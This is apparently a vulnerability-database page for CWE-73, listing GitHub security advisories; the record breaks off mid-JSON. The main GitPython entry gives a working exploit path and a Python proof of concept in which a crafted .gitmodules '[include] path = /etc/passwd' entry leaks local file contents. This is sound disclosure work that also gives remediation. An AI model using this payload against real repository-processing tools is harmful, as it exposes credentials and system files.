Common Weakness Enumeration

CWE-73

Allowed

External Control of File Name or Path

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product allows user input to control or influence paths or file names that are used in filesystem operations.

1179 vulnerabilities reference this CWE, most recent first.

GHSA-7833-FR7J-V32Q

Vulnerability from github – Published: 2026-09-08 18:38 – Updated: 2026-09-08 18:38

Summary

GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)

Details

[HIGH] Arbitrary local file content disclosure via `[include]` directive in untrusted `.gitmodules` (`SubmoduleConfigParser` never disables `merge_includes`)

CWE: CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)
Affected component: git/objects/submodule/base.py, Submodule._config_parser() (~line 273) constructing SubmoduleConfigParser(fp_module, read_only=read_only); git/config.py, GitConfigParser.__init__ (merge_includes default), GitConfigParser.read()/_included_paths() (include-path resolution, ~lines 630-685), GitConfigParser._read() (~line 493-498, MissingSectionHeaderError)
Affected version: GitPython at HEAD (9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION 3.1.58)

Reachability

GitConfigParser.__init__ defaults merge_includes=True: any config file it parses has its [include] (and, when a repo= is supplied, [includeIf ...]) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit 41ecc6a4 ("Disable merge_includes in config writers"), which passes merge_includes=False when Repo.config_writer() builds its parser (git/repo/base.py).

That fix never touched Submodule._config_parser(). This method builds the parser used for every read of a repo's submodule configuration — repo.submodules, Submodule.iter_items(), Submodule.config() — via SubmoduleConfigParser(fp_module, read_only=read_only), passing neither merge_includes=False nor repo=. The True class default is therefore inherited unchanged, and fp_module here is .gitmodules — the single most attacker-controlled config file in the entire codebase, since it ships verbatim as tracked content inside any cloned repository.

GitConfigParser.read()'s include-path resolution (~line 662-680) performs no containment check: osp.isabs(include_path) short-circuits the path join entirely for an absolute path, and a relative path is joined with osp.join(osp.dirname(file_path), include_path) / osp.normpath()'d with no check that the result stays under the repository. ~ is expanded via osp.expanduser. The only gate before opening is os.access(include_path, os.R_OK) — a readability check, not a path restriction.

Once opened, GitConfigParser._read() parses the target file as git-config INI. If the first non-blank/non-comment line is not a [section] header — true of virtually any non-gitconfig file (source code, /etc/passwd, .env files, credential files, logs, JSON/YAML) — it raises configparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception's str() as "File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line) — it embeds the verbatim content of that file's first line in the exception message. Submodule.iter_items() catches only (IOError, BadName), not configparser.Error, so this exception propagates straight out of the ordinary, read-only repo.submodules call.

Root cause

Parity gap between two config-parser construction sites for the exact same footgun: Repo.config_writer() was hardened against merge_includes in 2023 (41ecc6a4); Submodule._config_parser() — which parses .gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser at git/objects/submodule/base.py for .git/modules/<name>/config — a different, locally-generated file — has correctly passed merge_includes=False since 2022, underscoring that the omission for .gitmodules reads looks like an oversight rather than a considered exception.)

Exploit path

Attacker crafts a repository whose .gitmodules contains a legitimate-looking [submodule ...] section plus: [include] path = /etc/passwd (an absolute path bypasses any traversal reasoning entirely; a relative ../../../../etc/passwd-style path works too).
Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules: list(repo.submodules) (or any for sm in repo.submodules) — no update(), init(), or checkout of any kind required.
SubmoduleConfigParser (inheriting merge_includes=True) follows the [include] directive, opens /etc/passwd, and GitConfigParser._read() raises MissingSectionHeaderError whose message embeds /etc/passwd's first line verbatim.
This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on repo.submodules — disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).

Impact

Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first MissingSectionHeaderError), but that line very often is the secret — .env files (DATABASE_URL=..., API_KEY=...), single-line credential/token files, /etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blind GHSA-cwvm-v4w8-q58c ("Blind local file inclusion", CVSS 4.0, git/refs/symbolic.py ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).

Preconditions

Victim clones (or otherwise opens with GitPython) a repository whose .gitmodules is attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for).
Victim performs any operation that touches repo.submodules — one of the most ordinary GitPython operations, requiring no submodule update/init/checkout.
No authentication/role requirement inside GitPython itself.

Evidence

git/config.py — GitConfigParser.__init__ defaults merge_includes=True.
git/objects/submodule/base.py:273 — SubmoduleConfigParser(fp_module, read_only=read_only) passes neither merge_includes nor repo=; git blame shows this call unchanged since the class was introduced, and git show 41ecc6a4 confirms that commit touched only git/repo/base.py's Repo.config_writer(), never this call site.
git/config.py _included_paths()/read() (~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs() short-circuit); no repository-boundary containment check exists anywhere in this path.
git/config.py _read() (~493-498) — raises cp.MissingSectionHeaderError(fpname, lineno, line) with the raw file line embedded, matching Python stdlib configparser's own __str__ behavior.
Submodule.iter_items() catches only (IOError, BadName) — configparser.Error (the base of MissingSectionHeaderError) is not swallowed.
PoC (gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clone_from + list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and /etc/passwd.

False-positive check (adversarial re-read)

Is this the same bug as GHSA-hmq2-w58f-27jc? No — that advisory is about the .gitmodules submodule name driving _module_abspath/os.makedirs() (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the [include] directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation).
Is this the same bug as GHSA-cwvm-v4w8-q58c (blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in git/refs/symbolic.py's ref-name resolution feeding Repo.commit/tree/index.diff — an entirely different module and code path. This finding discloses actual file content via git/config.py's include-directive resolution.
Is the impact overstated given only one line leaks? No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard clone_from + list(repo.submodules) workflow.
Could the exception simply be silently swallowed by GitPython before reaching the caller? No — confirmed by reading Submodule.iter_items()'s exception handling, which catches only IOError/BadName; configparser.MissingSectionHeaderError propagates uncaught.
Verdict: no concrete blocker found. CONFIRMED — reproduced independently against both a throwaway secret file and /etc/passwd.

Remediation

Pass merge_includes=False when constructing SubmoduleConfigParser in Submodule._config_parser() (git/objects/submodule/base.py), mirroring the existing fix in Repo.config_writer() (commit 41ecc6a4) — .gitmodules content is always attacker-controlled and should never be allowed to pull in include/includeIf directives. As defense in depth, GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.

Confidence

High. Root cause confirmed by direct code reading across both git/config.py and git/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and /etc/passwd).

Proof-of-Concept source (`gitpython-003-poc.py`)

#!/usr/bin/env python3
"""
GITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped
inside a cloned repository -- can contain `[include] path = <any local path>`.
`Submodule._config_parser()` builds the parser used for `repo.submodules` (and
other submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`
without passing `merge_includes=False`, so the class default `merge_includes=True`
is inherited. GitConfigParser then opens the target file; if it isn't valid
git-config syntax (true of virtually any non-gitconfig file), Python's
`configparser.MissingSectionHeaderError` embeds the file's first line verbatim
in its exception message, which propagates out of the ordinary, read-only
`repo.submodules` call -- a non-blind local file content disclosure primitive.

Run:
  PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file>

Benign: reads only the given <target-file> (defaults to a throwaway secret file
created under <workdir> if omitted) and never writes/exfiltrates it anywhere
except printing it locally to prove the primitive. No destructive action.
"""
import os
import subprocess
import sys


def main():
    workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc"
    target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt")

    attacker_repo = os.path.join(workdir, "attacker-repo")
    dest = os.path.join(workdir, "dest")
    for p in (attacker_repo, dest):
        os.makedirs(p, exist_ok=True)

    if not os.path.exists(target_file):
        os.makedirs(os.path.dirname(target_file), exist_ok=True)
        with open(target_file, "w") as f:
            f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n")

    subprocess.run(["git", "init", "-q", "-b", "main", attacker_repo], check=True)
    subprocess.run(["git", "-C", attacker_repo, "config", "user.email", "a@example.com"], check=True)
    subprocess.run(["git", "-C", attacker_repo, "config", "user.name", "Attacker"], check=True)

    with open(os.path.join(attacker_repo, "file.txt"), "w") as f:
        f.write("hello\n")

    with open(os.path.join(attacker_repo, ".gitmodules"), "w") as f:
        f.write(
            '[submodule "totally-normal-dep"]\n'
            "\tpath = vendor/dep\n"
            "\turl = https://example.com/dep.git\n"
            "[include]\n"
            "\tpath = %s\n" % target_file
        )

    subprocess.run(["git", "-C", attacker_repo, "add", "file.txt", ".gitmodules"], check=True)
    subprocess.run(["git", "-C", attacker_repo, "commit", "-q", "-m", "init"], check=True)

    import git  # gitpython under test
    import configparser

    repo = git.Repo.clone_from(attacker_repo, dest)

    try:
        subs = list(repo.submodules)
        print("NOT VULNERABLE: no exception raised, submodules =", subs)
        sys.exit(1)
    except configparser.MissingSectionHeaderError as e:
        msg = str(e)
        print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:")
        print(msg)
        with open(target_file) as f:
            first_line = f.readline().rstrip("\n")
        if first_line in msg:
            print("Confirmed: target file's first line is present verbatim in the exception message.")
            sys.exit(0)
        else:
            print("NOT VULNERABLE: exception message did not contain the expected content")
            sys.exit(1)


if __name__ == "__main__":
    main()

Severity

8.4 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

8.6 (High)


                  
                    CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.58"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "GitPython"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-78675"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73",
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T18:38:51Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# [HIGH] Arbitrary local file content disclosure via `[include]` directive in untrusted `.gitmodules` (`SubmoduleConfigParser` never disables `merge_includes`)\n\n- **CWE:** CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)\n- **Affected component:** `git/objects/submodule/base.py`, `Submodule._config_parser()` (~line 273) constructing `SubmoduleConfigParser(fp_module, read_only=read_only)`; `git/config.py`, `GitConfigParser.__init__` (`merge_includes` default), `GitConfigParser.read()`/`_included_paths()` (include-path resolution, ~lines 630-685), `GitConfigParser._read()` (~line 493-498, `MissingSectionHeaderError`)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`GitConfigParser.__init__` defaults `merge_includes=True`: any config file it parses has its `[include]` (and, when a `repo=` is supplied, `[includeIf ...]`) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit `41ecc6a4` (\"Disable merge_includes in config writers\"), which passes `merge_includes=False` when `Repo.config_writer()` builds its parser (`git/repo/base.py`).\n\nThat fix never touched `Submodule._config_parser()`. This method builds the parser used for **every** read of a repo\u0027s submodule configuration \u2014 `repo.submodules`, `Submodule.iter_items()`, `Submodule.config()` \u2014 via `SubmoduleConfigParser(fp_module, read_only=read_only)`, passing neither `merge_includes=False` nor `repo=`. The `True` class default is therefore inherited unchanged, and `fp_module` here is `.gitmodules` \u2014 **the single most attacker-controlled config file in the entire codebase**, since it ships verbatim as tracked content inside any cloned repository.\n\n`GitConfigParser.read()`\u0027s include-path resolution (~line 662-680) performs no containment check: `osp.isabs(include_path)` short-circuits the path join entirely for an absolute path, and a relative path is joined with `osp.join(osp.dirname(file_path), include_path)` / `osp.normpath()`\u0027d with no check that the result stays under the repository. `~` is expanded via `osp.expanduser`. The only gate before opening is `os.access(include_path, os.R_OK)` \u2014 a readability check, not a path restriction.\n\nOnce opened, `GitConfigParser._read()` parses the target file as git-config INI. If the first non-blank/non-comment line is not a `[section]` header \u2014 true of virtually any non-gitconfig file (source code, `/etc/passwd`, `.env` files, credential files, logs, JSON/YAML) \u2014 it raises `configparser.MissingSectionHeaderError(fpname, lineno, line)`. Python\u0027s stdlib formats this exception\u0027s `str()` as `\"File contains no section headers.\\nfile: %r, line: %d\\n%r\" % (fpname, lineno, line)` \u2014 it embeds the **verbatim content** of that file\u0027s first line in the exception message. `Submodule.iter_items()` catches only `(IOError, BadName)`, not `configparser.Error`, so this exception propagates straight out of the ordinary, read-only `repo.submodules` call.\n\n## Root cause\nParity gap between two config-parser construction sites for the exact same footgun: `Repo.config_writer()` was hardened against `merge_includes` in 2023 (`41ecc6a4`); `Submodule._config_parser()` \u2014 which parses `.gitmodules`, content that is *always* attacker-controlled the moment a repository is cloned from an untrusted source \u2014 was never given the same treatment. (The submodule *write*-mode config parser at `git/objects/submodule/base.py` for `.git/modules/\u003cname\u003e/config` \u2014 a different, locally-generated file \u2014 has correctly passed `merge_includes=False` since 2022, underscoring that the omission for `.gitmodules` reads looks like an oversight rather than a considered exception.)\n\n## Exploit path\n1. Attacker crafts a repository whose `.gitmodules` contains a legitimate-looking `[submodule ...]` section plus:\n   ```\n   [include]\n   \tpath = /etc/passwd\n   ```\n   (an absolute path bypasses any traversal reasoning entirely; a relative `../../../../etc/passwd`-style path works too).\n2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo\u0027s submodules: `list(repo.submodules)` (or any `for sm in repo.submodules`) \u2014 no `update()`, `init()`, or checkout of any kind required.\n3. `SubmoduleConfigParser` (inheriting `merge_includes=True`) follows the `[include]` directive, opens `/etc/passwd`, and `GitConfigParser._read()` raises `MissingSectionHeaderError` whose message embeds `/etc/passwd`\u0027s first line verbatim.\n4. This exception surfaces wherever the host application observes exceptions from GitPython \u2014 CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on `repo.submodules` \u2014 disclosing the targeted file\u0027s first line to the attacker (directly, or indirectly via any channel that echoes the error).\n\n## Impact\nNon-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first `MissingSectionHeaderError`), but that line very often *is* the secret \u2014 `.env` files (`DATABASE_URL=...`, `API_KEY=...`), single-line credential/token files, `/etc/passwd`\u0027s root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly **blind** `GHSA-cwvm-v4w8-q58c` (\"Blind local file inclusion\", CVSS 4.0, `git/refs/symbolic.py` ref-name resolution) \u2014 that advisory\u0027s own writeup states it cannot disclose content; this one does, verbatim, via a different module (`git/config.py`\u0027s include resolution).\n\n## Preconditions\n- Victim clones (or otherwise opens with GitPython) a repository whose `.gitmodules` is attacker-controlled \u2014 the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, \"audit this repo\" utilities \u2014 exactly the class of application GitPython itself is built for).\n- Victim performs any operation that touches `repo.submodules` \u2014 one of the most ordinary GitPython operations, requiring no submodule `update`/`init`/checkout.\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py` \u2014 `GitConfigParser.__init__` defaults `merge_includes=True`.\n- `git/objects/submodule/base.py:273` \u2014 `SubmoduleConfigParser(fp_module, read_only=read_only)` passes neither `merge_includes` nor `repo=`; `git blame` shows this call unchanged since the class was introduced, and `git show 41ecc6a4` confirms that commit touched only `git/repo/base.py`\u0027s `Repo.config_writer()`, never this call site.\n- `git/config.py` `_included_paths()`/`read()` (~630-685) \u2014 absolute include paths bypass the join/normpath entirely (`osp.isabs()` short-circuit); no repository-boundary containment check exists anywhere in this path.\n- `git/config.py` `_read()` (~493-498) \u2014 raises `cp.MissingSectionHeaderError(fpname, lineno, line)` with the raw file line embedded, matching Python stdlib `configparser`\u0027s own `__str__` behavior.\n- `Submodule.iter_items()` catches only `(IOError, BadName)` \u2014 `configparser.Error` (the base of `MissingSectionHeaderError`) is not swallowed.\n- PoC (`gitpython-003-poc.py`, embedded below) reproduces this end-to-end against this exact checkout via the public API only (`Repo.clone_from` + `list(repo.submodules)`, default arguments, no monkeypatching), against both a throwaway secret file and `/etc/passwd`.\n\n## False-positive check (adversarial re-read)\n- **Is this the same bug as `GHSA-hmq2-w58f-27jc`?** No \u2014 that advisory is about the `.gitmodules` submodule *name* driving `_module_abspath`/`os.makedirs()` (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the `[include]` directive in the *same file* reaching a config-parser read primitive \u2014 a different mechanism, different function, different impact class (content disclosure, not directory creation).\n- **Is this the same bug as `GHSA-cwvm-v4w8-q58c` (blind LFI)?** No \u2014 that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in `git/refs/symbolic.py`\u0027s ref-name resolution feeding `Repo.commit`/`tree`/`index.diff` \u2014 an entirely different module and code path. This finding discloses actual file content via `git/config.py`\u0027s include-directive resolution.\n- **Is the impact overstated given only one line leaks?** No \u2014 this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard `clone_from` + `list(repo.submodules)` workflow.\n- **Could the exception simply be silently swallowed by GitPython before reaching the caller?** No \u2014 confirmed by reading `Submodule.iter_items()`\u0027s exception handling, which catches only `IOError`/`BadName`; `configparser.MissingSectionHeaderError` propagates uncaught.\n- Verdict: no concrete blocker found. **CONFIRMED** \u2014 reproduced independently against both a throwaway secret file and `/etc/passwd`.\n\n## Remediation\nPass `merge_includes=False` when constructing `SubmoduleConfigParser` in `Submodule._config_parser()` (`git/objects/submodule/base.py`), mirroring the existing fix in `Repo.config_writer()` (commit `41ecc6a4`) \u2014 `.gitmodules` content is always attacker-controlled and should never be allowed to pull in `include`/`includeIf` directives. As defense in depth, `GitConfigParser.read()`\u0027s include-path resolution should enforce that resolved include paths stay within the repository\u0027s own directory tree, and parsing-error messages (`MissingSectionHeaderError`/`ParsingError`) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.\n\n## Confidence\nHigh. Root cause confirmed by direct code reading across both `git/config.py` and `git/objects/submodule/base.py`, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and `/etc/passwd`).\n\n\n## Proof-of-Concept source (`gitpython-003-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped\ninside a cloned repository -- can contain `[include] path = \u003cany local path\u003e`.\n`Submodule._config_parser()` builds the parser used for `repo.submodules` (and\nother submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`\nwithout passing `merge_includes=False`, so the class default `merge_includes=True`\nis inherited. GitConfigParser then opens the target file; if it isn\u0027t valid\ngit-config syntax (true of virtually any non-gitconfig file), Python\u0027s\n`configparser.MissingSectionHeaderError` embeds the file\u0027s first line verbatim\nin its exception message, which propagates out of the ordinary, read-only\n`repo.submodules` call -- a non-blind local file content disclosure primitive.\n\nRun:\n  PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-003-poc.py \u003cworkdir\u003e \u003ctarget-file\u003e\n\nBenign: reads only the given \u003ctarget-file\u003e (defaults to a throwaway secret file\ncreated under \u003cworkdir\u003e if omitted) and never writes/exfiltrates it anywhere\nexcept printing it locally to prove the primitive. No destructive action.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n    workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-003-poc\"\n    target_file = sys.argv[2] if len(sys.argv) \u003e 2 else os.path.join(workdir, \"secret.txt\")\n\n    attacker_repo = os.path.join(workdir, \"attacker-repo\")\n    dest = os.path.join(workdir, \"dest\")\n    for p in (attacker_repo, dest):\n        os.makedirs(p, exist_ok=True)\n\n    if not os.path.exists(target_file):\n        os.makedirs(os.path.dirname(target_file), exist_ok=True)\n        with open(target_file, \"w\") as f:\n            f.write(\"TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\\n\")\n\n    subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", attacker_repo], check=True)\n    subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.email\", \"a@example.com\"], check=True)\n    subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.name\", \"Attacker\"], check=True)\n\n    with open(os.path.join(attacker_repo, \"file.txt\"), \"w\") as f:\n        f.write(\"hello\\n\")\n\n    with open(os.path.join(attacker_repo, \".gitmodules\"), \"w\") as f:\n        f.write(\n            \u0027[submodule \"totally-normal-dep\"]\\n\u0027\n            \"\\tpath = vendor/dep\\n\"\n            \"\\turl = https://example.com/dep.git\\n\"\n            \"[include]\\n\"\n            \"\\tpath = %s\\n\" % target_file\n        )\n\n    subprocess.run([\"git\", \"-C\", attacker_repo, \"add\", \"file.txt\", \".gitmodules\"], check=True)\n    subprocess.run([\"git\", \"-C\", attacker_repo, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n    import git  # gitpython under test\n    import configparser\n\n    repo = git.Repo.clone_from(attacker_repo, dest)\n\n    try:\n        subs = list(repo.submodules)\n        print(\"NOT VULNERABLE: no exception raised, submodules =\", subs)\n        sys.exit(1)\n    except configparser.MissingSectionHeaderError as e:\n        msg = str(e)\n        print(\"VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:\")\n        print(msg)\n        with open(target_file) as f:\n            first_line = f.readline().rstrip(\"\\n\")\n        if first_line in msg:\n            print(\"Confirmed: target file\u0027s first line is present verbatim in the exception message.\")\n            sys.exit(0)\n        else:\n            print(\"NOT VULNERABLE: exception message did not contain the expected content\")\n            sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n\n```",
  "id": "GHSA-7833-fr7j-v32q",
  "modified": "2026-09-08T18:38:51Z",
  "published": "2026-09-08T18:38:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78675"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/pull/2211"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/commit/ef7568e3b317ce617eacda39b8b54dcdff8c3b5c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gitpython-developers/GitPython"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3785.yaml"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)"
}

GHSA-7869-M4GV-9V2J

Vulnerability from github – Published: 2025-03-01 00:31 – Updated: 2025-03-05 18:32

Details

The account file upload functionality in Syspass 3.2.x fails to properly handle special characters in filenames. This mismanagement leads to the disclosure of the web application s source code, exposing sensitive information such as the database password.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2025-25478"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-28T23:15:11Z",
    "severity": "MODERATE"
  },
  "details": "The account file upload functionality in Syspass 3.2.x fails to properly handle special characters in filenames. This mismanagement leads to the disclosure of the web application s source code, exposing sensitive information such as the database password.",
  "id": "GHSA-7869-m4gv-9v2j",
  "modified": "2025-03-05T18:32:03Z",
  "published": "2025-03-01T00:31:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25478"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sysentr0py/CVEs/tree/main/CVE-2025-25478"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-78FM-87R7-5P5X

Vulnerability from github – Published: 2026-08-04 00:34 – Updated: 2026-08-04 00:34

Details

External control of file name or path in Microsoft Edge for Android allows an unauthorized attacker to disclose information locally.

Severity

7.7 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2026-66310"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-04T00:17:38Z",
    "severity": "HIGH"
  },
  "details": "External control of file name or path in Microsoft Edge for Android allows an unauthorized attacker to disclose information locally.",
  "id": "GHSA-78fm-87r7-5p5x",
  "modified": "2026-08-04T00:34:54Z",
  "published": "2026-08-04T00:34:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66310"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-66310"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-78FP-X36M-F5GF

Vulnerability from github – Published: 2025-08-12 18:31 – Updated: 2025-08-12 18:31

Details

External control of file name or path in Windows Security App allows an authorized attacker to perform spoofing locally.

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2025-53769"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-12T18:15:45Z",
    "severity": "MODERATE"
  },
  "details": "External control of file name or path in Windows Security App allows an authorized attacker to perform spoofing locally.",
  "id": "GHSA-78fp-x36m-f5gf",
  "modified": "2025-08-12T18:31:32Z",
  "published": "2025-08-12T18:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53769"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53769"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-79PM-5425-72GV

Vulnerability from github – Published: 2023-06-22 18:30 – Updated: 2024-04-04 05:01

Details

Advantech R-SeeNet versions 2.4.22 allows low-level users to access and load the content of local files.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2023-3256"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-610",
      "CWE-73"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-22T17:15:44Z",
    "severity": "HIGH"
  },
  "details": "Advantech R-SeeNet \nversions 2.4.22 \nallows low-level users to access and load the content of local files.\n\n\n\n",
  "id": "GHSA-79pm-5425-72gv",
  "modified": "2024-04-04T05:01:16Z",
  "published": "2023-06-22T18:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3256"
    },
    {
      "type": "WEB",
